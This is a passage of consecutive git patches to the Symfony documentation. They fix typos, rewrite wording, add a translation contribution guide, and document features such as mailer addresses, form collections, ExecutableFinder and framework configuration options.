+different languages. For example, if a user submits a form with a wrong value in
+a :doc:`TimezoneType </reference/forms/types/timezone>` field, Symfony shows the
+following error message by default: "This value is not a valid timezone."
+
+These messages are translated into tens of languages thanks to the Symfony
+community. Symfony adds new messages on a regular basis, so this is an ongoing
+translation process and you can help us providing the missing translations.
+
+How to Contribute a Translation
+-------------------------------
+
+Imagine that you can speak both English and Swedish and want to check if there's
+some missing Swedish translations to contribute them.
+
+**Step 1.** Translations are contributed to the oldest maintained branch of the
+Symfony repository. Visit the `Symfony Releases`_ page to find out which is the
+current oldest maintained branch.
+
+Then, you need to either download or browse that Symfony version contents:
+
+* If you know Git and prefer the command console, clone the Symfony repository
+  and check out the oldest maintained branch (read the
+  :doc:`Symfony Documentation contribution guide </contributing/documentation/overview>`
+  if you want to learn about this process);
+* If you prefer to use a web based interface, visit
+  `https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_
+  and switch to the oldest maintained branch.
+
+**Step 2.** Check out if there's some missing translation in your language by
+checking these directories:
+
+* ``src/Symfony/Component/Form/Resources/translations/``
+* ``src/Symfony/Component/Security/Core/Resources/translations/``
+* ``src/Symfony/Component/Validator/Resources/translations/``
+
+Symfony uses the :ref:`XLIFF format <best-practice-internationalization>` to
+store translations. In this example, you are looking for missing Swedish
+translations, so you should look for files called ``*.sv.xlf``.
+
+.. note::
+
+    If there's no XLIFF file for your language yet, create it yourself
+    duplicating the original English file (e.g. ``validators.en.xlf``).
+
+**Step 3.** Contribute the missing translations. To do that, compare the file
+in your language to the equivalent file in English.
+
+Imagine that you open the ``validators.sv.xlf`` and see this at the end of the file:
+
+.. code-block:: xml
+
+    <!-- src/Symfony/Component/Validator/Resources/translations/validators.sv.xlf -->
+
+    <!-- ... -->
+    <trans-unit id="91">
+        <source>This value should be either negative or zero.</source>
+        <target>Detta värde bör vara antingen negativt eller noll.</target>
+    </trans-unit>
+    <trans-unit id="92">
+        <source>This value is not a valid timezone.</source>
+        <target>Detta värde är inte en giltig tidszon.</target>
+    </trans-unit>
+
+If you open the equivalent ``validators.en.xlf`` file, you can see that the
+English file has more messages to translate:
+
+.. code-block:: xml
+
+    <!-- src/Symfony/Component/Validator/Resources/translations/validators.en.xlf -->
+
+    <!-- ... -->
+    <trans-unit id="91">
+        <source>This value should be either negative or zero.</source>
+        <target>This value should be either negative or zero.</target>
+    </trans-unit>
+    <trans-unit id="92">
+        <source>This value is not a valid timezone.</source>
+        <target>This value is not a valid timezone.</target>
+    </trans-unit>
+    <trans-unit id="93">
+        <source>This password has been leaked in a data breach, it must not be used. Please use another password.</source>
+        <target>This password has been leaked in a data breach, it must not be used. Please use another password.</target>
+    </trans-unit>
+    <trans-unit id="94">
+        <source>This value should be between {{ min }} and {{ max }}.</source>
+        <target>This value should be between {{ min }} and {{ max }}.</target>
+    </trans-unit>
+
+The messages with ``id=93`` and ``id=94`` are missing in the Swedish file.
+Copy and paste the messages from the English file, translate the content
+inside the ``<target>`` tag and save the changes.
+
+**Step 4.** Make the pull request against the
+`https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_ repository.
+If you need help, check the other Symfony guides about
+:doc:`contributing code or docs </contributing/index>` because the process is
+the same.
+
+.. _`Symfony Releases`: https://symfony.com/releases

From d1314646d993de107ed220142630ad99eff8bbab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Dec 2020 09:30:48 +0100
Subject: [PATCH 0274/5766] Removed unnecessary versionadded directives

---
 service_container/service_subscribers_locators.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 8a3f9ec3852..051a0ab592c 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -300,15 +300,6 @@ argument of type ``service_locator``:
                 ])]);
         };
 
-.. versionadded:: 4.2
-
-    The ability to add services without specifying an array key was introduced
-    in Symfony 4.2.
-
-.. versionadded:: 4.2
-
-    The ``service_locator`` argument type was introduced in Symfony 4.2.
-
 As shown in the previous sections, the constructor of the ``CommandBus`` class
 must type-hint its argument with ``ContainerInterface``. Then, you can get any of
 the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).

From 35eee2edc5c27824a23fcb5d2e6b1ee904b535eb Mon Sep 17 00:00:00 2001
From: Maks Rafalko <b0rn@list.ru>
Date: Mon, 21 Dec 2020 13:51:59 +0300
Subject: [PATCH 0275/5766] Add missed word

---
 messenger/dispatch_after_current_bus.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index e382f49eed3..7daaaebc676 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -40,7 +40,7 @@ DispatchAfterCurrentBusMiddleware Middleware
 --------------------------------------------
 
 For many applications, the desired behavior is to *only* handle messages that
-are dispatched by a handler once that handler has fully finished. This can be by
+are dispatched by a handler once that handler has fully finished. This can be done by
 using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 ``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
 

From 3a01e25523530fa9ebeaeb40f93cf69427acf517 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Fri, 29 May 2020 12:33:32 +0200
Subject: [PATCH 0276/5766] Added tip for files input rendering

Added a tip about files input rendering in order to enable the display of the selected file.
---
 form/bootstrap4.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index e96db1afb3b..10ad6c254e3 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -94,6 +94,14 @@ Checkboxes and Radios
 For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
 Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 
+File inputs
+-----------
+
+Files input are rendered using the Bootstrap "custom-file" class.
+
+Due to Bootstrap internals, the rendered field does not display the selected filename.
+To fix that missing display, you can use the "`bs-custom-file-input`_" plugin (vanilla javascript), as recommended by `Bootstrap Forms documentation`_.
+
 Accessibility
 -------------
 
@@ -126,6 +134,8 @@ Symfony Form ``RadioType`` and ``CheckboxType`` by adding some classes to the la
     {{ form_row(form.myCheckbox, {label_attr: {class: 'switch-custom'} }) }}
 
 .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
+.. _`bs-custom-file-input`: https://www.npmjs.com/package/bs-custom-file-input
+.. _`Bootstrap Forms documentation`: https://getbootstrap.com/docs/4.4/components/forms/#file-browser
 .. _`custom forms`: https://getbootstrap.com/docs/4.4/components/forms/#custom-forms
 .. _`custom radio`: https://getbootstrap.com/docs/4.4/components/forms/#radios
 .. _`custom checkbox`: https://getbootstrap.com/docs/4.4/components/forms/#checkboxes

From 75194ae111a0415682d0d3f51291233940122b87 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 15:47:32 +0100
Subject: [PATCH 0277/5766] Tweaks

---
 form/bootstrap4.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 10ad6c254e3..ccf4659738c 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -97,10 +97,9 @@ Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 File inputs
 -----------
 
-Files input are rendered using the Bootstrap "custom-file" class.
-
-Due to Bootstrap internals, the rendered field does not display the selected filename.
-To fix that missing display, you can use the "`bs-custom-file-input`_" plugin (vanilla javascript), as recommended by `Bootstrap Forms documentation`_.
+File inputs are rendered using the Bootstrap "custom-file" class, which hides
+the name of the selected file. To fix that, use the `bs-custom-file-input`_
+JavaScript plugin, as recommended by `Bootstrap Forms documentation`_.
 
 Accessibility
 -------------

From b51618ff97b9aab131f0f3bb80463349d1ee3b58 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 24 Jul 2020 17:03:38 +0200
Subject: [PATCH 0278/5766] [Mailer] Update mailer.rst

---
 mailer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 97a3dca00d7..31039f91ec0 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -163,12 +163,13 @@ both strings or address objects::
     :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
     same ``From`` email to all messages.
 
-Multiple addresses are defined with the ``addXXX()`` methods::
+Multiple addresses can be set with ``addTo()``, ``addCc()``, or ``addBcc()``::
 
     $email = (new Email())
         ->to('foo@example.com')
         ->addTo('bar@example.com')
-        ->addTo('baz@example.com')
+        ->cc('cc@example.com')
+        ->addCc('cc2@example.com')
 
         // ...
     ;
@@ -178,7 +179,7 @@ Alternatively, you can pass multiple addresses to each method::
     $toAddresses = ['foo@example.com', new Address('bar@example.com')];
 
     $email = (new Email())
-        ->to(...$toAddresses)
+        ->to(...$toAddresses) // use the splat operator if you have an array
         ->cc('cc1@example.com', 'cc2@example.com')
 
         // ...

From fb7df00f8f50c27ac3c355f06d99f1d2af323f7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 15:54:52 +0100
Subject: [PATCH 0279/5766] Tweaks

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2d4b2819de6..fa19d77d849 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -274,7 +274,7 @@ both strings or address objects::
     :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
     same ``From`` email to all messages.
 
-Multiple addresses can be set with ``addTo()``, ``addCc()``, or ``addBcc()``::
+Use ``addTo()``, ``addCc()``, or ``addBcc()`` methods to add more addresses::
 
     $email = (new Email())
         ->to('foo@example.com')
@@ -290,7 +290,7 @@ Alternatively, you can pass multiple addresses to each method::
     $toAddresses = ['foo@example.com', new Address('bar@example.com')];
 
     $email = (new Email())
-        ->to(...$toAddresses) // use the splat operator if you have an array
+        ->to(...$toAddresses)
         ->cc('cc1@example.com', 'cc2@example.com')
 
         // ...

From e9cc299e2a16df478d9e8804eed575fd9cc6d2b7 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 4 Apr 2020 11:26:06 +0200
Subject: [PATCH 0280/5766] [Form] Renaming the article

---
 form/form_collections.rst | 26 ++++++++++++++------------
 1 file changed, 14 insertions(+), 12 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index cd1f66a7a8f..fa4210b6709 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -1,15 +1,18 @@
 .. index::
    single: Form; Embed collection of forms
 
-How to Embed a Collection of Forms
-==================================
+Edit Related Entities in a Single Form
+======================================
 
-In this article, you'll learn how to create a form that embeds a collection
-of many other forms. This could be useful, for example, if you had a ``Task``
-class and you wanted to edit/create/remove many ``Tag`` objects related to
-that Task, right inside the same form.
+To edit associated entities in the same form, Symfony has the concept of
+Form "Collections". Think of it as a series of sub-forms, embedded into
+the main form.
 
-Let's start by creating a ``Task`` entity::
+The example used in this article is a ``Task`` entity that relates to
+a ``Tag`` entitiy. The goal is to create a single form for tasks, that
+also allows to edit/create/remove many tags associated with that task.
+
+Here's the ``Task`` and the ``Tag`` entity::
 
     // src/Entity/Task.php
     namespace App\Entity;
@@ -45,12 +48,10 @@ Let's start by creating a ``Task`` entity::
 
 .. note::
 
-    The ``ArrayCollection`` is specific to Doctrine and is basically the
-    same as using an ``array`` (but it must be an ``ArrayCollection`` if
-    you're using Doctrine).
+    The `ArrayCollection`_ is specific to Doctrine and is basically the
+    same as using an ``array``.
 
-Now, create a ``Tag`` class. As you saw above, a ``Task`` can have many ``Tag``
-objects::
+.. code-block:: php
 
     // src/Entity/Tag.php
     namespace App\Entity;
@@ -688,3 +689,4 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 .. _`JSFiddle`: http://jsfiddle.net/847Kf/4/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
+.. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html

From ca151cec146c4d16e2e3c8168231c37d9e837356 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 16:55:55 +0100
Subject: [PATCH 0281/5766] Tweaks

---
 form/form_collections.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index fa4210b6709..30215b0a37d 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -1,18 +1,15 @@
 .. index::
    single: Form; Embed collection of forms
 
-Edit Related Entities in a Single Form
-======================================
+How to Embed a Collection of Forms
+==================================
 
-To edit associated entities in the same form, Symfony has the concept of
-Form "Collections". Think of it as a series of sub-forms, embedded into
-the main form.
+Symfony Forms can embed a collection of many other forms, which is useful to
+edit related entities in a single form. In this article, you'll create a form to
+edit a ``Task`` class and, right inside the same form, you'll be able to edit,
+create and remove many ``Tag`` objects related to that Task.
 
-The example used in this article is a ``Task`` entity that relates to
-a ``Tag`` entitiy. The goal is to create a single form for tasks, that
-also allows to edit/create/remove many tags associated with that task.
-
-Here's the ``Task`` and the ``Tag`` entity::
+Let's start by creating a ``Task`` entity::
 
     // src/Entity/Task.php
     namespace App\Entity;
@@ -48,8 +45,11 @@ Here's the ``Task`` and the ``Tag`` entity::
 
 .. note::
 
-    The `ArrayCollection`_ is specific to Doctrine and is basically the
-    same as using an ``array``.
+    The `ArrayCollection`_ is specific to Doctrine and is similar to a PHP array
+    but provides many utility methods.
+
+Now, create a ``Tag`` class. As you saw above, a ``Task`` can have many ``Tag``
+objects::
 
 .. code-block:: php
 

From 2b1f063ea379fffb2c42e527aaceba2d3553ba67 Mon Sep 17 00:00:00 2001
From: Wim Molenberghs <wim@eek.be>
Date: Mon, 2 Nov 2020 08:54:22 +0100
Subject: [PATCH 0282/5766] Add DirectoryIndex to fallback for resources

When DirectoryIndex is set FallbackResource disabled will do nothing because apache falls back to DirectoryIndex
---
 setup/web_server_configuration.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e4fef9b3d99..710a2f89dc6 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -127,6 +127,7 @@ and increase web server performance:
         # which will allow Apache to return a 404 error when files are
         # not found instead of passing the request to Symfony
         <Directory /var/www/project/public/bundles>
+            DirectoryIndex disabled
             FallbackResource disabled
         </Directory>
         ErrorLog /var/log/apache2/project_error.log

From 84ac5b201a4209113fe32e54d16b49dcb08fc0e6 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Tue, 22 Dec 2020 17:03:51 +0100
Subject: [PATCH 0283/5766] Tweak doc around proxy manager bridge

---
 service_container/lazy_services.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 936316bb029..7b33bcdfcac 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -93,9 +93,9 @@ To check if your proxy works you can check the interface of the received object:
 
 .. note::
 
-    If you don't install the `ProxyManager bridge`_ and the
-    `ocramius/proxy-manager`_, the container will skip over the ``lazy``
-    flag and directly instantiate the service as it would normally do.
+    If you don't install the `ProxyManager bridge`_ , the container will skip
+    over the ``lazy`` flag and directly instantiate the service as it would
+    normally do.
 
 Additional Resources
 --------------------
@@ -106,5 +106,4 @@ in the `documentation of ProxyManager`_.
 .. _`ProxyManager bridge`: https://github.com/symfony/symfony/tree/master/src/Symfony/Bridge/ProxyManager
 .. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern
 .. _`documentation of ProxyManager`: https://github.com/Ocramius/ProxyManager/blob/master/docs/lazy-loading-value-holder.md
-.. _`ocramius/proxy-manager`: https://github.com/Ocramius/ProxyManager
 .. _`final`: https://www.php.net/manual/en/language.oop5.final.php

From c8a0a723ab2565d3d24ba32f18c850f3e102aa36 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 17:06:46 +0100
Subject: [PATCH 0284/5766] Fixed doc syntax

---
 form/form_collections.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 30215b0a37d..e7502432a16 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -51,8 +51,6 @@ Let's start by creating a ``Task`` entity::
 Now, create a ``Tag`` class. As you saw above, a ``Task`` can have many ``Tag``
 objects::
 
-.. code-block:: php
-
     // src/Entity/Tag.php
     namespace App\Entity;
 

From a490d10189aad87f89a7e18a0939451276143be1 Mon Sep 17 00:00:00 2001
From: Hugo Sales <hugo@fc.up.pt>
Date: Sun, 21 Jun 2020 15:49:19 +0000
Subject: [PATCH 0285/5766] Add documentation for pull #37371

---
 translation/message_format.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 81bc8320975..e744ab8f757 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -165,6 +165,21 @@ you to use literal text in the select statements:
 #. Inside this block, ``{organizer_name}`` starts "code" mode again, allowing
    ``organizer_name`` to be processed as variable.
 
+Additionally, it's possible to write the message directly in code::
+
+    $invitation = '{organizer_gender, select,
+                female {{organizer_name} has invited you for her party!}
+                male   {{organizer_name} has invited you for his party!}
+                other  {{organizer_name} have invited you for their party!}
+            }';
+    // prints "Ryan has invited you for his party!"
+    echo $translator->trans($invitation, [
+        'organizer_name' => 'Ryan',
+        'organizer_gender' => 'male',
+    ]);
+
+This can be used to create a wrapper.
+
 .. tip::
 
     While it might seem more logical to only put ``her``, ``his`` or ``their``

From 064bb18c88def6b3d1eab4a771076c4d3fa12366 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Dec 2020 17:21:14 +0100
Subject: [PATCH 0286/5766] Tweaks

---
 translation/message_format.rst | 31 ++++++++++++++++---------------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index e744ab8f757..0a0742e16d0 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -165,21 +165,6 @@ you to use literal text in the select statements:
 #. Inside this block, ``{organizer_name}`` starts "code" mode again, allowing
    ``organizer_name`` to be processed as variable.
 
-Additionally, it's possible to write the message directly in code::
-
-    $invitation = '{organizer_gender, select,
-                female {{organizer_name} has invited you for her party!}
-                male   {{organizer_name} has invited you for his party!}
-                other  {{organizer_name} have invited you for their party!}
-            }';
-    // prints "Ryan has invited you for his party!"
-    echo $translator->trans($invitation, [
-        'organizer_name' => 'Ryan',
-        'organizer_gender' => 'male',
-    ]);
-
-This can be used to create a wrapper.
-
 .. tip::
 
     While it might seem more logical to only put ``her``, ``his`` or ``their``
@@ -188,6 +173,22 @@ This can be used to create a wrapper.
     readable for translators and, as you can see in the ``other`` case, other
     parts of the sentence might be influenced by the variables.
 
+.. tip::
+
+    It's possible to translate ICU MessageFormat messages directly in code,
+    without having to define them in any file::
+
+        $invitation = '{organizer_gender, select,
+            female {{organizer_name} has invited you for her party!}
+            male   {{organizer_name} has invited you for his party!}
+            other  {{organizer_name} have invited you for their party!}
+        }';
+
+        // prints "Ryan has invited you for his party!"
+        echo $translator->trans($invitation, [
+            'organizer_name' => 'Ryan',
+            'organizer_gender' => 'male',
+        ]);
 
 .. _component-translation-pluralization:
 

From dc072c4d98b3d79494e9fcb12b4314b67bde4674 Mon Sep 17 00:00:00 2001
From: Pavel Nemchenko <pavelnemoi@gmail.com>
Date: Wed, 23 Dec 2020 00:03:08 +0200
Subject: [PATCH 0287/5766] [Service Container] Fix typo in tag default index
 method name

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index bf8f6959db4..6783ef06d4e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -807,7 +807,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
 .. tip::
 
     Just like the priority, you can also implement a static
-    ``getDefaultIndexAttributeName()`` method in the handlers and omit the
+    ``getDefaultIndexName()`` method in the handlers and omit the
     index attribute (``key``)::
 
         // src/Handler/One.php

From c521f8e54355bce0baa93a66f20a9a3ff1b8edb7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 23 Dec 2020 09:59:35 +0100
Subject: [PATCH 0288/5766] Remove experimental from notifier

---
 notifier.rst          | 3 +--
 notifier/chatters.rst | 3 +--
 notifier/texters.rst  | 3 +--
 3 files changed, 3 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 10a0a5490aa..c7c84eb5977 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -6,8 +6,7 @@ Creating and Sending Notifications
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 Installation
 ------------
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index da11c8858b9..ffeb6e0dc5e 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -6,8 +6,7 @@ How to send Chat Messages
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
 you to send messages to chat services like Slack or Telegram::
diff --git a/notifier/texters.rst b/notifier/texters.rst
index eb663b13726..4cf9b6f2de2 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -6,8 +6,7 @@ How to send SMS Messages
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
 you to send SMS messages::

From 275b6e97ba7edd5eff2d38230d5300270a1d9868 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 23 Dec 2020 11:46:38 +0100
Subject: [PATCH 0289/5766] Restore version-added in string

---
 components/string.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 7d2ec49a198..83d73140095 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -8,6 +8,10 @@ The String Component
     The String component provides a single object-oriented API to work with
     three "unit systems" of strings: bytes, code points and grapheme clusters.
 
+.. versionadded:: 5.0
+
+    The String component was introduced in Symfony 5.0.
+
 Installation
 ------------
 

From eaaceec65766e176acd0dfcc58d445fa38c08bfc Mon Sep 17 00:00:00 2001
From: Victor Bocharsky <bocharsky.bw@gmail.com>
Date: Wed, 23 Dec 2020 13:13:35 +0200
Subject: [PATCH 0290/5766] Minor: Remove extra space in the config example

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index fa19d77d849..86683f365c1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -962,7 +962,7 @@ you have a transport called ``async``, you can route the message there:
                     async: "%env(MESSENGER_TRANSPORT_DSN)%"
 
                 routing:
-                    'Symfony\Component\Mailer\Messenger\SendEmailMessage':  async
+                    'Symfony\Component\Mailer\Messenger\SendEmailMessage': async
 
     .. code-block:: xml
 

From 78de6f66628019b7feaee639c69ef6d907745931 Mon Sep 17 00:00:00 2001
From: Simon <watiau.simon@gmail.com>
Date: Wed, 23 Dec 2020 12:49:07 +0100
Subject: [PATCH 0291/5766] Minor: Fix quotes

style(serializer): Fix quotes
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 20d31fa8c0c..5c498cbf593 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -627,7 +627,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 This custom mapping is used to convert property names when serializing and
 deserializing objects::
 
-    $serialized = $serializer->serialize(new Person("Kévin"), 'json');
+    $serialized = $serializer->serialize(new Person('Kévin'), 'json');
     // {"customer_name": "Kévin"}
 
 Serializing Boolean Attributes

From b885099d7b7812fa134008cdb00b786da9d775e5 Mon Sep 17 00:00:00 2001
From: Alexander Dubovskoy <dan@ra-don.ru>
Date: Wed, 23 Dec 2020 17:48:32 +0300
Subject: [PATCH 0292/5766] Update lockable_trait.rst

Misprint has been fixed: added ":"
---
 console/lockable_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 9c77073d087..54f6e4b051d 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -39,7 +39,7 @@ that adds two convenient methods to lock and release commands::
             // automatically when the execution of the command ends
             $this->release();
 
-            return Command:SUCCESS;
+            return Command::SUCCESS;
         }
     }
 

From ccc128974d522b6708b512112e6efa31ef453755 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 27 Dec 2020 12:36:11 +0100
Subject: [PATCH 0293/5766] [FrameworkBundle][WebLink] Config reference for the
 WebLink component

---
 reference/configuration/framework.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e61e0e1365d..cb128f73d02 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -272,6 +272,7 @@ Configuration
   * `strict_email`_
   * `translation_domain`_
 
+* `web_link`_
 * `workflows`_
 
   * :ref:`enabled <reference-workflows-enabled>`
@@ -2994,6 +2995,17 @@ recipients set in the code.
             ]);
         };
 
+
+web_link
+~~~~~~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+
+Adds a Link HTTP header to the response.
+
 workflows
 ~~~~~~~~~
 

From 6a758a514621b4c7e2c42e9068ead0ba4448443c Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 27 Dec 2020 20:46:46 +0100
Subject: [PATCH 0294/5766] Remove white space

---
 configuration/using_parameters_in_dic.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 730043af714..c81fcf7fa14 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -106,7 +106,7 @@ be injected with this parameter via the extension as follows::
     {
         private $debug;
 
-        public function  __construct($debug)
+        public function __construct($debug)
         {
             $this->debug = (bool) $debug;
         }

From d922ed43b736892edb4be7c7bbd11ec5a30f1501 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Sat, 26 Dec 2020 11:48:48 +0100
Subject: [PATCH 0295/5766] [Process] add docs for ExecutableFinder

---
 components/process.rst | 24 +++++++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/components/process.rst b/components/process.rst
index 5b1ee2ca420..b7845145ca3 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -483,10 +483,32 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     However, it is possible to pass a callback to the ``start``, ``run`` or ``mustRun``
     methods to handle process output in a streaming fashion.
 
+
+Finding an Executable
+---------------------
+
+The Process component provides a utility class called
+:class:`Symfony\\Component\\Process\\ExecutableFinder` which finds
+and returns the absolute path of an executable::
+
+    use Symfony\Component\Process\ExecutableFinder;
+
+    $executableFinder = new ExecutableFinder();
+    $chromedriverPath = $executableFinder->find('chromedriver');
+    // $chromedriverPath = '/usr/local/bin/chromedriver' (the result will be different on your computer)
+
+The :method:`Symfony\\Component\\Process\\ExecutableFinder::find` method also takes extra parameters to specify a default value
+to return and extra directories where to look for the executable::
+
+    use Symfony\Component\Process\ExecutableFinder;
+
+    $executableFinder = new ExecutableFinder();
+    $chromedriverPath = $executableFinder->find('chromedriver', '/path/to/chromedriver', ['local-bin/']);
+
 Finding the Executable PHP Binary
 ---------------------------------
 
-This component also provides a utility class called
+This component also provides a special utility class called
 :class:`Symfony\\Component\\Process\\PhpExecutableFinder` which returns the
 absolute path of the executable PHP binary available on your server::
 

From c2500f9ebff40287335a64e03abae42f434965a3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 27 Dec 2020 12:10:45 +0100
Subject: [PATCH 0296/5766] [FrameworkBundle] Config reference for Secrets

---
 reference/configuration/framework.rst | 31 +++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e61e0e1365d..4ca47e58768 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -197,6 +197,12 @@ Configuration
   * `utf8`_
 
